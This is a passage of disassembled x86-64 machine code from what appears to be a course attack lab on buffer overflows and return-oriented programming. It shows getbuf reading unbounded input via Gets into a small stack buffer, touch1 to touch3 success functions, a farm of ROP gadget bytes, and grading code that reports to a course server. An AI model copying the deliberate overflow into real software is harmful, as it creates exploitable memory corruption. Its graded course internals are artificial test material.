401484: 69 c0 4f b1 00 00 imul $0xb14f,%eax,%eax

40148a: 89 44 24 e0 mov %eax,-0x20(%rsp)

40148e: 8b 44 24 e4 mov -0x1c(%rsp),%eax

401492: 69 c0 71 f2 00 00 imul $0xf271,%eax,%eax

401498: 89 44 24 e4 mov %eax,-0x1c(%rsp)

40149c: 8b 44 24 f4 mov -0xc(%rsp),%eax

4014a0: 69 c0 28 98 00 00 imul $0x9828,%eax,%eax

4014a6: 89 44 24 f4 mov %eax,-0xc(%rsp)

4014aa: 8b 44 24 e4 mov -0x1c(%rsp),%eax

4014ae: 69 c0 12 ab 00 00 imul $0xab12,%eax,%eax

4014b4: 89 44 24 e4 mov %eax,-0x1c(%rsp)

4014b8: 8b 44 24 e8 mov -0x18(%rsp),%eax

4014bc: 69 c0 fb 64 00 00 imul $0x64fb,%eax,%eax

4014c2: 89 44 24 e8 mov %eax,-0x18(%rsp)

4014c6: 8b 44 24 ec mov -0x14(%rsp),%eax

4014ca: 69 c0 17 5d 00 00 imul $0x5d17,%eax,%eax

4014d0: 89 44 24 ec mov %eax,-0x14(%rsp)

4014d4: 8b 44 24 ec mov -0x14(%rsp),%eax

4014d8: 69 c0 1d c1 00 00 imul $0xc11d,%eax,%eax

4014de: 89 44 24 ec mov %eax,-0x14(%rsp)

4014e2: 8b 44 24 e8 mov -0x18(%rsp),%eax

4014e6: 69 c0 4b bb 00 00 imul $0xbb4b,%eax,%eax

4014ec: 89 44 24 e8 mov %eax,-0x18(%rsp)

4014f0: 8b 44 24 e0 mov -0x20(%rsp),%eax

4014f4: 69 c0 f2 e9 00 00 imul $0xe9f2,%eax,%eax

4014fa: 89 44 24 e0 mov %eax,-0x20(%rsp)

4014fe: 8b 44 24 e8 mov -0x18(%rsp),%eax

401502: 69 c0 ab 51 00 00 imul $0x51ab,%eax,%eax

401508: 89 44 24 e8 mov %eax,-0x18(%rsp)

40150c: 8b 44 24 d0 mov -0x30(%rsp),%eax

401510: 69 c0 3f 98 00 00 imul $0x983f,%eax,%eax

401516: 89 44 24 d0 mov %eax,-0x30(%rsp)

40151a: 8b 44 24 ec mov -0x14(%rsp),%eax

40151e: 69 c0 3f 76 00 00 imul $0x763f,%eax,%eax

401524: 89 44 24 ec mov %eax,-0x14(%rsp)

401528: 8b 44 24 e8 mov -0x18(%rsp),%eax

40152c: 69 c0 d0 d6 00 00 imul $0xd6d0,%eax,%eax

401532: 89 44 24 e8 mov %eax,-0x18(%rsp)

401536: 8b 44 24 f4 mov -0xc(%rsp),%eax

40153a: 69 c0 35 e3 00 00 imul $0xe335,%eax,%eax

401540: 89 44 24 f4 mov %eax,-0xc(%rsp)

401544: 8b 44 24 e0 mov -0x20(%rsp),%eax

401548: 69 c0 49 1d 00 00 imul $0x1d49,%eax,%eax

40154e: 89 44 24 e0 mov %eax,-0x20(%rsp)

401552: 8b 44 24 e4 mov -0x1c(%rsp),%eax

401556: 69 c0 5b c4 00 00 imul $0xc45b,%eax,%eax

40155c: 89 44 24 e4 mov %eax,-0x1c(%rsp)

401560: 8b 44 24 e8 mov -0x18(%rsp),%eax

401564: 69 c0 8a 57 00 00 imul $0x578a,%eax,%eax

40156a: 89 44 24 e8 mov %eax,-0x18(%rsp)

40156e: 8b 44 24 f4 mov -0xc(%rsp),%eax

401572: 69 c0 10 67 00 00 imul $0x6710,%eax,%eax

401578: 89 44 24 f4 mov %eax,-0xc(%rsp)

40157c: 8b 44 24 e0 mov -0x20(%rsp),%eax

401580: 69 c0 fb 9e 00 00 imul $0x9efb,%eax,%eax

401586: 89 44 24 e0 mov %eax,-0x20(%rsp)

40158a: 8b 44 24 f4 mov -0xc(%rsp),%eax

40158e: 69 c0 52 d0 00 00 imul $0xd052,%eax,%eax

401594: 89 44 24 f4 mov %eax,-0xc(%rsp)

401598: 8b 44 24 d0 mov -0x30(%rsp),%eax

40159c: 69 c0 9a ed 00 00 imul $0xed9a,%eax,%eax

4015a2: 89 44 24 d0 mov %eax,-0x30(%rsp)

4015a6: 8b 44 24 d8 mov -0x28(%rsp),%eax

4015aa: 69 c0 6e e6 00 00 imul $0xe66e,%eax,%eax

4015b0: 89 44 24 d8 mov %eax,-0x28(%rsp)

4015b4: 8b 44 24 ec mov -0x14(%rsp),%eax

4015b8: 69 c0 11 8d 00 00 imul $0x8d11,%eax,%eax

4015be: 89 44 24 ec mov %eax,-0x14(%rsp)

4015c2: 8b 44 24 e4 mov -0x1c(%rsp),%eax

4015c6: 69 c0 94 fa 00 00 imul $0xfa94,%eax,%eax

4015cc: 89 44 24 e4 mov %eax,-0x1c(%rsp)

4015d0: 8b 44 24 dc mov -0x24(%rsp),%eax

4015d4: 69 c0 bc e8 00 00 imul $0xe8bc,%eax,%eax

4015da: 89 44 24 dc mov %eax,-0x24(%rsp)

4015de: 8b 44 24 d4 mov -0x2c(%rsp),%eax

4015e2: 69 c0 af f8 00 00 imul $0xf8af,%eax,%eax

4015e8: 89 44 24 d4 mov %eax,-0x2c(%rsp)

4015ec: 8b 44 24 d8 mov -0x28(%rsp),%eax

4015f0: 69 c0 4f 59 00 00 imul $0x594f,%eax,%eax

4015f6: 89 44 24 d8 mov %eax,-0x28(%rsp)

4015fa: 8b 44 24 ec mov -0x14(%rsp),%eax

4015fe: 69 c0 62 23 00 00 imul $0x2362,%eax,%eax

401604: 89 44 24 ec mov %eax,-0x14(%rsp)

401608: 8b 44 24 ec mov -0x14(%rsp),%eax

40160c: 69 c0 b2 7c 00 00 imul $0x7cb2,%eax,%eax

401612: 89 44 24 ec mov %eax,-0x14(%rsp)

401616: 8b 44 24 e8 mov -0x18(%rsp),%eax

40161a: 69 c0 76 38 00 00 imul $0x3876,%eax,%eax

401620: 89 44 24 e8 mov %eax,-0x18(%rsp)

401624: 8b 44 24 f4 mov -0xc(%rsp),%eax

401628: 69 c0 51 0b 00 00 imul $0xb51,%eax,%eax

40162e: 89 44 24 f4 mov %eax,-0xc(%rsp)

401632: 8b 44 24 dc mov -0x24(%rsp),%eax

401636: 69 c0 95 68 00 00 imul $0x6895,%eax,%eax

40163c: 89 44 24 dc mov %eax,-0x24(%rsp)

401640: 8b 44 24 e4 mov -0x1c(%rsp),%eax

401644: 69 c0 9d b3 00 00 imul $0xb39d,%eax,%eax

40164a: 89 44 24 e4 mov %eax,-0x1c(%rsp)

40164e: 8b 44 24 e4 mov -0x1c(%rsp),%eax

401652: 69 c0 8e 52 00 00 imul $0x528e,%eax,%eax

401658: 89 44 24 e4 mov %eax,-0x1c(%rsp)

40165c: 8b 44 24 d4 mov -0x2c(%rsp),%eax

401660: 69 c0 c8 e1 00 00 imul $0xe1c8,%eax,%eax

401666: 89 44 24 d4 mov %eax,-0x2c(%rsp)

40166a: 8b 44 24 e0 mov -0x20(%rsp),%eax

40166e: 69 c0 90 56 00 00 imul $0x5690,%eax,%eax

401674: 89 44 24 e0 mov %eax,-0x20(%rsp)

401678: 8b 44 24 e0 mov -0x20(%rsp),%eax

40167c: 69 c0 4b 50 00 00 imul $0x504b,%eax,%eax

401682: 89 44 24 e0 mov %eax,-0x20(%rsp)

401686: 8b 44 24 d8 mov -0x28(%rsp),%eax

40168a: 69 c0 1a 7e 00 00 imul $0x7e1a,%eax,%eax

401690: 89 44 24 d8 mov %eax,-0x28(%rsp)

401694: 8b 44 24 ec mov -0x14(%rsp),%eax

401698: 69 c0 b7 de 00 00 imul $0xdeb7,%eax,%eax

40169e: 89 44 24 ec mov %eax,-0x14(%rsp)

4016a2: 8b 44 24 e4 mov -0x1c(%rsp),%eax

4016a6: 69 c0 60 54 00 00 imul $0x5460,%eax,%eax

4016ac: 89 44 24 e4 mov %eax,-0x1c(%rsp)

4016b0: 8b 44 24 dc mov -0x24(%rsp),%eax

4016b4: 69 c0 ee c4 00 00 imul $0xc4ee,%eax,%eax

4016ba: 89 44 24 dc mov %eax,-0x24(%rsp)

4016be: 8b 44 24 f0 mov -0x10(%rsp),%eax

4016c2: 69 c0 6e 48 00 00 imul $0x486e,%eax,%eax

4016c8: 89 44 24 f0 mov %eax,-0x10(%rsp)

4016cc: 8b 44 24 e8 mov -0x18(%rsp),%eax

4016d0: 69 c0 fe bb 00 00 imul $0xbbfe,%eax,%eax

4016d6: 89 44 24 e8 mov %eax,-0x18(%rsp)

4016da: 8b 44 24 e8 mov -0x18(%rsp),%eax

4016de: 69 c0 5d 4e 00 00 imul $0x4e5d,%eax,%eax

4016e4: 89 44 24 e8 mov %eax,-0x18(%rsp)

4016e8: 8b 44 24 e8 mov -0x18(%rsp),%eax

4016ec: 69 c0 67 72 00 00 imul $0x7267,%eax,%eax

4016f2: 89 44 24 e8 mov %eax,-0x18(%rsp)

4016f6: 8b 44 24 f0 mov -0x10(%rsp),%eax

4016fa: 69 c0 ac d2 00 00 imul $0xd2ac,%eax,%eax

401700: 89 44 24 f0 mov %eax,-0x10(%rsp)

401704: 8b 44 24 ec mov -0x14(%rsp),%eax

401708: 69 c0 a5 83 00 00 imul $0x83a5,%eax,%eax

40170e: 89 44 24 ec mov %eax,-0x14(%rsp)

401712: 8b 44 24 e4 mov -0x1c(%rsp),%eax

401716: 69 c0 94 e0 00 00 imul $0xe094,%eax,%eax

40171c: 89 44 24 e4 mov %eax,-0x1c(%rsp)

401720: 8b 44 24 f0 mov -0x10(%rsp),%eax

401724: 69 c0 e7 0a 00 00 imul $0xae7,%eax,%eax

40172a: 89 44 24 f0 mov %eax,-0x10(%rsp)

40172e: 8b 44 24 ec mov -0x14(%rsp),%eax

401732: 69 c0 dc 89 00 00 imul $0x89dc,%eax,%eax

401738: 89 44 24 ec mov %eax,-0x14(%rsp)

40173c: 8b 44 24 e8 mov -0x18(%rsp),%eax

401740: 69 c0 03 56 00 00 imul $0x5603,%eax,%eax

401746: 89 44 24 e8 mov %eax,-0x18(%rsp)

40174a: 8b 44 24 e0 mov -0x20(%rsp),%eax

40174e: 69 c0 11 bc 00 00 imul $0xbc11,%eax,%eax

401754: 89 44 24 e0 mov %eax,-0x20(%rsp)

401758: 8b 44 24 d8 mov -0x28(%rsp),%eax

40175c: 69 c0 6a 1d 00 00 imul $0x1d6a,%eax,%eax

401762: 89 44 24 d8 mov %eax,-0x28(%rsp)

401766: 8b 44 24 dc mov -0x24(%rsp),%eax

40176a: 69 c0 ab 83 00 00 imul $0x83ab,%eax,%eax

401770: 89 44 24 dc mov %eax,-0x24(%rsp)

401774: 8b 44 24 ec mov -0x14(%rsp),%eax

401778: 69 c0 db b2 00 00 imul $0xb2db,%eax,%eax

40177e: 89 44 24 ec mov %eax,-0x14(%rsp)

401782: 8b 44 24 dc mov -0x24(%rsp),%eax

401786: 69 c0 95 c3 00 00 imul $0xc395,%eax,%eax

40178c: 89 44 24 dc mov %eax,-0x24(%rsp)

401790: 8b 44 24 f4 mov -0xc(%rsp),%eax

401794: 69 c0 1a 25 00 00 imul $0x251a,%eax,%eax

40179a: 89 44 24 f4 mov %eax,-0xc(%rsp)

40179e: ba 00 00 00 00 mov $0x0,%edx

4017a3: b8 00 00 00 00 mov $0x0,%eax

4017a8: eb 0b jmp 4017b5 <scramble+0x512>

4017aa: 89 d1 mov %edx,%ecx

4017ac: 8b 4c 8c d0 mov -0x30(%rsp,%rcx,4),%ecx

4017b0: 01 c8 add %ecx,%eax

4017b2: 83 c2 01 add $0x1,%edx

4017b5: 83 fa 09 cmp $0x9,%edx

4017b8: 76 f0 jbe 4017aa <scramble+0x507>

4017ba: f3 c3 repz retq

00000000004017bc <getbuf>:

4017bc: 48 83 ec 38 sub $0x38,%rsp

4017c0: 48 89 e7 mov %rsp,%rdi

4017c3: e8 52 03 00 00 callq 401b1a <Gets>

4017c8: b8 01 00 00 00 mov $0x1,%eax

4017cd: 48 83 c4 38 add $0x38,%rsp

4017d1: c3 retq

00000000004017d2 <touch1>:

4017d2: 48 83 ec 08 sub $0x8,%rsp

4017d6: c7 05 1c 3d 20 00 01 movl $0x1,0x203d1c(%rip) # 6054fc <vlevel>

4017dd: 00 00 00

4017e0: bf 82 30 40 00 mov $0x403082,%edi

4017e5: e8 66 f4 ff ff callq 400c50 <puts@plt>

4017ea: bf 01 00 00 00 mov $0x1,%edi

4017ef: e8 15 05 00 00 callq 401d09 <validate>

4017f4: bf 00 00 00 00 mov $0x0,%edi

4017f9: e8 f2 f5 ff ff callq 400df0 <exit@plt>

00000000004017fe <touch2>:

4017fe: 48 83 ec 08 sub $0x8,%rsp

401802: 89 fe mov %edi,%esi

401804: c7 05 ee 3c 20 00 02 movl $0x2,0x203cee(%rip) # 6054fc <vlevel>

40180b: 00 00 00

40180e: 3b 3d f0 3c 20 00 cmp 0x203cf0(%rip),%edi # 605504 <cookie>

401814: 75 1b jne 401831 <touch2+0x33>

401816: bf a8 30 40 00 mov $0x4030a8,%edi

40181b: b8 00 00 00 00 mov $0x0,%eax

401820: e8 5b f4 ff ff callq 400c80 <printf@plt>

401825: bf 02 00 00 00 mov $0x2,%edi

40182a: e8 da 04 00 00 callq 401d09 <validate>

40182f: eb 19 jmp 40184a <touch2+0x4c>

401831: bf d0 30 40 00 mov $0x4030d0,%edi

401836: b8 00 00 00 00 mov $0x0,%eax

40183b: e8 40 f4 ff ff callq 400c80 <printf@plt>

401840: bf 02 00 00 00 mov $0x2,%edi

401845: e8 71 05 00 00 callq 401dbb <fail>

40184a: bf 00 00 00 00 mov $0x0,%edi

40184f: e8 9c f5 ff ff callq 400df0 <exit@plt>

0000000000401854 <hexmatch>:

401854: 41 54 push %r12

401856: 55 push %rbp

401857: 53 push %rbx

401858: 48 83 ec 70 sub $0x70,%rsp

40185c: 41 89 fc mov %edi,%r12d

40185f: 48 89 f5 mov %rsi,%rbp

401862: e8 e9 f4 ff ff callq 400d50 <random@plt>

401867: 48 89 c1 mov %rax,%rcx

40186a: 48 ba 0b d7 a3 70 3d movabs $0xa3d70a3d70a3d70b,%rdx

401871: 0a d7 a3

401874: 48 f7 ea imul %rdx

401877: 48 8d 04 0a lea (%rdx,%rcx,1),%rax

40187b: 48 c1 f8 06 sar $0x6,%rax

40187f: 48 89 ce mov %rcx,%rsi

401882: 48 c1 fe 3f sar $0x3f,%rsi

401886: 48 29 f0 sub %rsi,%rax

401889: 48 8d 04 80 lea (%rax,%rax,4),%rax

40188d: 48 8d 04 80 lea (%rax,%rax,4),%rax

401891: 48 c1 e0 02 shl $0x2,%rax

401895: 48 29 c1 sub %rax,%rcx

401898: 48 8d 1c 0c lea (%rsp,%rcx,1),%rbx

40189c: 44 89 e2 mov %r12d,%edx

40189f: be 9f 30 40 00 mov $0x40309f,%esi

4018a4: 48 89 df mov %rbx,%rdi

4018a7: b8 00 00 00 00 mov $0x0,%eax

4018ac: e8 2f f5 ff ff callq 400de0 <sprintf@plt>

4018b1: ba 09 00 00 00 mov $0x9,%edx

4018b6: 48 89 de mov %rbx,%rsi

4018b9: 48 89 ef mov %rbp,%rdi

4018bc: e8 6f f3 ff ff callq 400c30 <strncmp@plt>

4018c1: 85 c0 test %eax,%eax

4018c3: 0f 94 c0 sete %al

4018c6: 0f b6 c0 movzbl %al,%eax

4018c9: 48 83 c4 70 add $0x70,%rsp

4018cd: 5b pop %rbx

4018ce: 5d pop %rbp

4018cf: 41 5c pop %r12

4018d1: c3 retq

00000000004018d2 <touch3>:

4018d2: 53 push %rbx

4018d3: 48 89 fb mov %rdi,%rbx

4018d6: c7 05 1c 3c 20 00 03 movl $0x3,0x203c1c(%rip) # 6054fc <vlevel>

4018dd: 00 00 00

4018e0: 48 89 fe mov %rdi,%rsi

4018e3: 8b 3d 1b 3c 20 00 mov 0x203c1b(%rip),%edi # 605504 <cookie>

4018e9: e8 66 ff ff ff callq 401854 <hexmatch>

4018ee: 85 c0 test %eax,%eax

4018f0: 74 1e je 401910 <touch3+0x3e>

4018f2: 48 89 de mov %rbx,%rsi

4018f5: bf f8 30 40 00 mov $0x4030f8,%edi

4018fa: b8 00 00 00 00 mov $0x0,%eax

4018ff: e8 7c f3 ff ff callq 400c80 <printf@plt>

401904: bf 03 00 00 00 mov $0x3,%edi

401909: e8 fb 03 00 00 callq 401d09 <validate>

40190e: eb 1c jmp 40192c <touch3+0x5a>

401910: 48 89 de mov %rbx,%rsi

401913: bf 20 31 40 00 mov $0x403120,%edi

401918: b8 00 00 00 00 mov $0x0,%eax

40191d: e8 5e f3 ff ff callq 400c80 <printf@plt>

401922: bf 03 00 00 00 mov $0x3,%edi

401927: e8 8f 04 00 00 callq 401dbb <fail>

40192c: bf 00 00 00 00 mov $0x0,%edi

401931: e8 ba f4 ff ff callq 400df0 <exit@plt>

0000000000401936 <test>:

401936: 48 83 ec 08 sub $0x8,%rsp

40193a: b8 00 00 00 00 mov $0x0,%eax

40193f: e8 78 fe ff ff callq 4017bc <getbuf>

401944: 89 c6 mov %eax,%esi

401946: bf 48 31 40 00 mov $0x403148,%edi

40194b: b8 00 00 00 00 mov $0x0,%eax

401950: e8 2b f3 ff ff callq 400c80 <printf@plt>

401955: 48 83 c4 08 add $0x8,%rsp

401959: c3 retq

000000000040195a <start\_farm>:

40195a: b8 01 00 00 00 mov $0x1,%eax

40195f: c3 retq

0000000000401960 <getval\_447>:

401960: b8 48 89 c7 90 mov $0x90c78948,%eax

401965: c3 retq

0000000000401966 <addval\_180>:

401966: 8d 87 9d 9e 58 90 lea -0x6fa76163(%rdi),%eax

40196c: c3 retq

000000000040196d <setval\_308>:

40196d: c7 07 50 90 90 90 movl $0x90909050,(%rdi)

401973: c3 retq

0000000000401974 <setval\_320>:

401974: c7 07 48 88 c7 c3 movl $0xc3c78848,(%rdi)

40197a: c3 retq

000000000040197b <getval\_332>:

40197b: b8 ec 58 90 90 mov $0x909058ec,%eax

401980: c3 retq

0000000000401981 <setval\_331>:

401981: c7 07 08 78 90 90 movl $0x90907808,(%rdi)

401987: c3 retq

0000000000401988 <addval\_196>:

401988: 8d 87 48 89 c7 90 lea -0x6f3876b8(%rdi),%eax

40198e: c3 retq

000000000040198f <addval\_264>:

40198f: 8d 87 a9 68 89 c7 lea -0x38769757(%rdi),%eax

401995: c3 retq

0000000000401996 <mid\_farm>:

401996: b8 01 00 00 00 mov $0x1,%eax

40199b: c3 retq

000000000040199c <add\_xy>:

40199c: 48 8d 04 37 lea (%rdi,%rsi,1),%rax

4019a0: c3 retq

00000000004019a1 <addval\_456>:

4019a1: 8d 87 89 c1 38 c0 lea -0x3fc73e77(%rdi),%eax

4019a7: c3 retq

00000000004019a8 <setval\_405>:

4019a8: c7 07 d8 48 89 e0 movl $0xe08948d8,(%rdi)

4019ae: c3 retq

00000000004019af <addval\_426>:

4019af: 8d 87 89 d6 20 db lea -0x24df2977(%rdi),%eax

4019b5: c3 retq

00000000004019b6 <getval\_268>:

4019b6: b8 89 ca 84 db mov $0xdb84ca89,%eax

4019bb: c3 retq

00000000004019bc <getval\_495>:

4019bc: b8 89 c1 00 c9 mov $0xc900c189,%eax

4019c1: c3 retq

00000000004019c2 <addval\_162>:

4019c2: 8d 87 89 ca 38 c0 lea -0x3fc73577(%rdi),%eax

4019c8: c3 retq

00000000004019c9 <addval\_315>:

4019c9: 8d 87 89 ca 94 d2 lea -0x2d6b3577(%rdi),%eax

4019cf: c3 retq

00000000004019d0 <setval\_304>:

4019d0: c7 07 9a 81 d6 90 movl $0x90d6819a,(%rdi)

4019d6: c3 retq

00000000004019d7 <setval\_411>:

4019d7: c7 07 48 89 e0 92 movl $0x92e08948,(%rdi)

4019dd: c3 retq

00000000004019de <addval\_167>:

4019de: 8d 87 89 d6 90 c2 lea -0x3d6f2977(%rdi),%eax

4019e4: c3 retq

00000000004019e5 <getval\_333>:

4019e5: b8 48 89 e0 92 mov $0x92e08948,%eax

4019ea: c3 retq

00000000004019eb <addval\_229>:

4019eb: 8d 87 89 d6 28 db lea -0x24d72977(%rdi),%eax

4019f1: c3 retq

00000000004019f2 <getval\_140>:

4019f2: b8 88 d6 38 db mov $0xdb38d688,%eax

4019f7: c3 retq

00000000004019f8 <setval\_475>:

4019f8: c7 07 48 89 e0 c3 movl $0xc3e08948,(%rdi)

4019fe: c3 retq

00000000004019ff <setval\_100>:

4019ff: c7 07 c9 c1 84 db movl $0xdb84c1c9,(%rdi)

401a05: c3 retq

0000000000401a06 <setval\_446>:

401a06: c7 07 8d ca 84 c9 movl $0xc984ca8d,(%rdi)

401a0c: c3 retq

0000000000401a0d <addval\_141>:

401a0d: 8d 87 88 ca c3 0c lea 0xcc3ca88(%rdi),%eax

401a13: c3 retq

0000000000401a14 <getval\_253>:

401a14: b8 48 a9 e0 90 mov $0x90e0a948,%eax

401a19: c3 retq

0000000000401a1a <addval\_497>:

401a1a: 8d 87 09 c1 84 d2 lea -0x2d7b3ef7(%rdi),%eax

401a20: c3 retq

0000000000401a21 <getval\_245>:

401a21: b8 89 c1 18 c9 mov $0xc918c189,%eax

401a26: c3 retq

0000000000401a27 <setval\_416>:

401a27: c7 07 48 a9 e0 90 movl $0x90e0a948,(%rdi)

401a2d: c3 retq

0000000000401a2e <addval\_280>:

401a2e: 8d 87 89 d6 84 db lea -0x247b2977(%rdi),%eax

401a34: c3 retq

0000000000401a35 <addval\_278>:

401a35: 8d 87 26 89 d6 92 lea -0x6d2976da(%rdi),%eax

401a3b: c3 retq

0000000000401a3c <addval\_372>:

401a3c: 8d 87 48 89 e0 c1 lea -0x3e1f76b8(%rdi),%eax

401a42: c3 retq

0000000000401a43 <addval\_382>:

401a43: 8d 87 89 ca 90 c1 lea -0x3e6f3577(%rdi),%eax

401a49: c3 retq

0000000000401a4a <addval\_130>:

401a4a: 8d 87 81 d6 c3 85 lea -0x7a3c297f(%rdi),%eax

401a50: c3 retq

0000000000401a51 <getval\_218>:

401a51: b8 89 c1 28 db mov $0xdb28c189,%eax

401a56: c3 retq

0000000000401a57 <addval\_177>:

401a57: 8d 87 89 c1 38 d2 lea -0x2dc73e77(%rdi),%eax

401a5d: c3 retq

0000000000401a5e <getval\_493>:

401a5e: b8 0a 4f 81 ca mov $0xca814f0a,%eax

401a63: c3 retq

0000000000401a64 <addval\_255>:

401a64: 8d 87 89 ca 28 d2 lea -0x2dd73577(%rdi),%eax

401a6a: c3 retq

0000000000401a6b <setval\_465>:

401a6b: c7 07 48 89 e0 92 movl $0x92e08948,(%rdi)

401a71: c3 retq

0000000000401a72 <setval\_393>:

401a72: c7 07 8b c1 90 90 movl $0x9090c18b,(%rdi)

401a78: c3 retq

0000000000401a79 <end\_farm>:

401a79: b8 01 00 00 00 mov $0x1,%eax

401a7e: c3 retq

401a7f: 90 nop

0000000000401a80 <save\_char>:

401a80: 8b 05 9e 46 20 00 mov 0x20469e(%rip),%eax # 606124 <gets\_cnt>

401a86: 3d ff 03 00 00 cmp $0x3ff,%eax

401a8b: 7f 49 jg 401ad6 <save\_char+0x56>

401a8d: 8d 14 40 lea (%rax,%rax,2),%edx

401a90: 89 f9 mov %edi,%ecx

401a92: c0 e9 04 shr $0x4,%cl

401a95: 83 e1 0f and $0xf,%ecx

401a98: 0f b6 b1 70 34 40 00 movzbl 0x403470(%rcx),%esi

401a9f: 48 63 ca movslq %edx,%rcx

401aa2: 40 88 b1 20 55 60 00 mov %sil,0x605520(%rcx)

401aa9: 8d 4a 01 lea 0x1(%rdx),%ecx

401aac: 83 e7 0f and $0xf,%edi

401aaf: 0f b6 b7 70 34 40 00 movzbl 0x403470(%rdi),%esi

401ab6: 48 63 c9 movslq %ecx,%rcx

401ab9: 40 88 b1 20 55 60 00 mov %sil,0x605520(%rcx)

401ac0: 83 c2 02 add $0x2,%edx

401ac3: 48 63 d2 movslq %edx,%rdx

401ac6: c6 82 20 55 60 00 20 movb $0x20,0x605520(%rdx)

401acd: 83 c0 01 add $0x1,%eax

401ad0: 89 05 4e 46 20 00 mov %eax,0x20464e(%rip) # 606124 <gets\_cnt>

401ad6: f3 c3 repz retq

0000000000401ad8 <save\_term>:

401ad8: 8b 05 46 46 20 00 mov 0x204646(%rip),%eax # 606124 <gets\_cnt>

401ade: 8d 04 40 lea (%rax,%rax,2),%eax

401ae1: 48 98 cltq

401ae3: c6 80 20 55 60 00 00 movb $0x0,0x605520(%rax)

401aea: c3 retq

0000000000401aeb <check\_fail>:

401aeb: 48 83 ec 08 sub $0x8,%rsp

401aef: 0f be 35 32 46 20 00 movsbl 0x204632(%rip),%esi # 606128 <target\_prefix>

401af6: b9 20 55 60 00 mov $0x605520,%ecx

401afb: 8b 15 f7 39 20 00 mov 0x2039f7(%rip),%edx # 6054f8 <check\_level>

401b01: bf 6b 31 40 00 mov $0x40316b,%edi

401b06: b8 00 00 00 00 mov $0x0,%eax

401b0b: e8 70 f1 ff ff callq 400c80 <printf@plt>

401b10: bf 01 00 00 00 mov $0x1,%edi

401b15: e8 d6 f2 ff ff callq 400df0 <exit@plt>

0000000000401b1a <Gets>:

401b1a: 41 54 push %r12

401b1c: 55 push %rbp

401b1d: 53 push %rbx

401b1e: 49 89 fc mov %rdi,%r12

401b21: c7 05 f9 45 20 00 00 movl $0x0,0x2045f9(%rip) # 606124 <gets\_cnt>

401b28: 00 00 00

401b2b: 48 89 fb mov %rdi,%rbx

401b2e: eb 11 jmp 401b41 <Gets+0x27>

401b30: 48 8d 6b 01 lea 0x1(%rbx),%rbp

401b34: 88 03 mov %al,(%rbx)

401b36: 0f b6 f8 movzbl %al,%edi

401b39: e8 42 ff ff ff callq 401a80 <save\_char>

401b3e: 48 89 eb mov %rbp,%rbx

401b41: 48 8b 3d a8 39 20 00 mov 0x2039a8(%rip),%rdi # 6054f0 <infile>

401b48: e8 13 f2 ff ff callq 400d60 <\_IO\_getc@plt>

401b4d: 83 f8 ff cmp $0xffffffff,%eax

401b50: 74 05 je 401b57 <Gets+0x3d>

401b52: 83 f8 0a cmp $0xa,%eax

401b55: 75 d9 jne 401b30 <Gets+0x16>

401b57: c6 03 00 movb $0x0,(%rbx)

401b5a: b8 00 00 00 00 mov $0x0,%eax

401b5f: e8 74 ff ff ff callq 401ad8 <save\_term>

401b64: 4c 89 e0 mov %r12,%rax

401b67: 5b pop %rbx

401b68: 5d pop %rbp

401b69: 41 5c pop %r12

401b6b: c3 retq

0000000000401b6c <notify\_server>:

401b6c: 83 3d 95 39 20 00 00 cmpl $0x0,0x203995(%rip) # 605508 <is\_checker>

401b73: 0f 85 8e 01 00 00 jne 401d07 <notify\_server+0x19b>

401b79: 53 push %rbx

401b7a: 48 81 ec 10 40 00 00 sub $0x4010,%rsp

401b81: 89 fb mov %edi,%ebx

401b83: 8b 05 9b 45 20 00 mov 0x20459b(%rip),%eax # 606124 <gets\_cnt>

401b89: 83 c0 64 add $0x64,%eax

401b8c: 3d 00 20 00 00 cmp $0x2000,%eax

401b91: 7e 19 jle 401bac <notify\_server+0x40>

401b93: bf a0 32 40 00 mov $0x4032a0,%edi

401b98: b8 00 00 00 00 mov $0x0,%eax

401b9d: e8 de f0 ff ff callq 400c80 <printf@plt>

401ba2: bf 01 00 00 00 mov $0x1,%edi

401ba7: e8 44 f2 ff ff callq 400df0 <exit@plt>

401bac: 44 0f be 0d 74 45 20 movsbl 0x204574(%rip),%r9d # 606128 <target\_prefix>

401bb3: 00

401bb4: 83 3d ed 38 20 00 00 cmpl $0x0,0x2038ed(%rip) # 6054a8 <notify>

401bbb: 74 09 je 401bc6 <notify\_server+0x5a>

401bbd: 44 8b 05 3c 39 20 00 mov 0x20393c(%rip),%r8d # 605500 <authkey>

401bc4: eb 06 jmp 401bcc <notify\_server+0x60>

401bc6: 41 b8 ff ff ff ff mov $0xffffffff,%r8d

401bcc: 85 db test %ebx,%ebx

401bce: 74 07 je 401bd7 <notify\_server+0x6b>

401bd0: b9 81 31 40 00 mov $0x403181,%ecx

401bd5: eb 05 jmp 401bdc <notify\_server+0x70>

401bd7: b9 86 31 40 00 mov $0x403186,%ecx

401bdc: 48 c7 44 24 08 20 55 movq $0x605520,0x8(%rsp)

401be3: 60 00

401be5: 89 34 24 mov %esi,(%rsp)

401be8: 8b 15 7a 35 20 00 mov 0x20357a(%rip),%edx # 605168 <target\_id>

401bee: be 8b 31 40 00 mov $0x40318b,%esi

401bf3: 48 8d bc 24 10 20 00 lea 0x2010(%rsp),%rdi

401bfa: 00

401bfb: b8 00 00 00 00 mov $0x0,%eax

401c00: e8 db f1 ff ff callq 400de0 <sprintf@plt>

401c05: 83 3d 9c 38 20 00 00 cmpl $0x0,0x20389c(%rip) # 6054a8 <notify>

401c0c: 74 78 je 401c86 <notify\_server+0x11a>

401c0e: 85 db test %ebx,%ebx

401c10: 74 68 je 401c7a <notify\_server+0x10e>

401c12: 4c 8d 4c 24 10 lea 0x10(%rsp),%r9

401c17: 41 b8 00 00 00 00 mov $0x0,%r8d

401c1d: 48 8d 8c 24 10 20 00 lea 0x2010(%rsp),%rcx

401c24: 00

401c25: 48 8b 15 44 35 20 00 mov 0x203544(%rip),%rdx # 605170 <lab>

401c2c: 48 8b 35 45 35 20 00 mov 0x203545(%rip),%rsi # 605178 <course>

401c33: 48 8b 3d 26 35 20 00 mov 0x203526(%rip),%rdi # 605160 <user\_id>

401c3a: e8 94 0f 00 00 callq 402bd3 <driver\_post>

401c3f: 85 c0 test %eax,%eax

401c41: 79 1e jns 401c61 <notify\_server+0xf5>

401c43: 48 8d 74 24 10 lea 0x10(%rsp),%rsi

401c48: bf a7 31 40 00 mov $0x4031a7,%edi

401c4d: b8 00 00 00 00 mov $0x0,%eax

401c52: e8 29 f0 ff ff callq 400c80 <printf@plt>

401c57: bf 01 00 00 00 mov $0x1,%edi

401c5c: e8 8f f1 ff ff callq 400df0 <exit@plt>

401c61: bf d0 32 40 00 mov $0x4032d0,%edi

401c66: e8 e5 ef ff ff callq 400c50 <puts@plt>

401c6b: bf b3 31 40 00 mov $0x4031b3,%edi

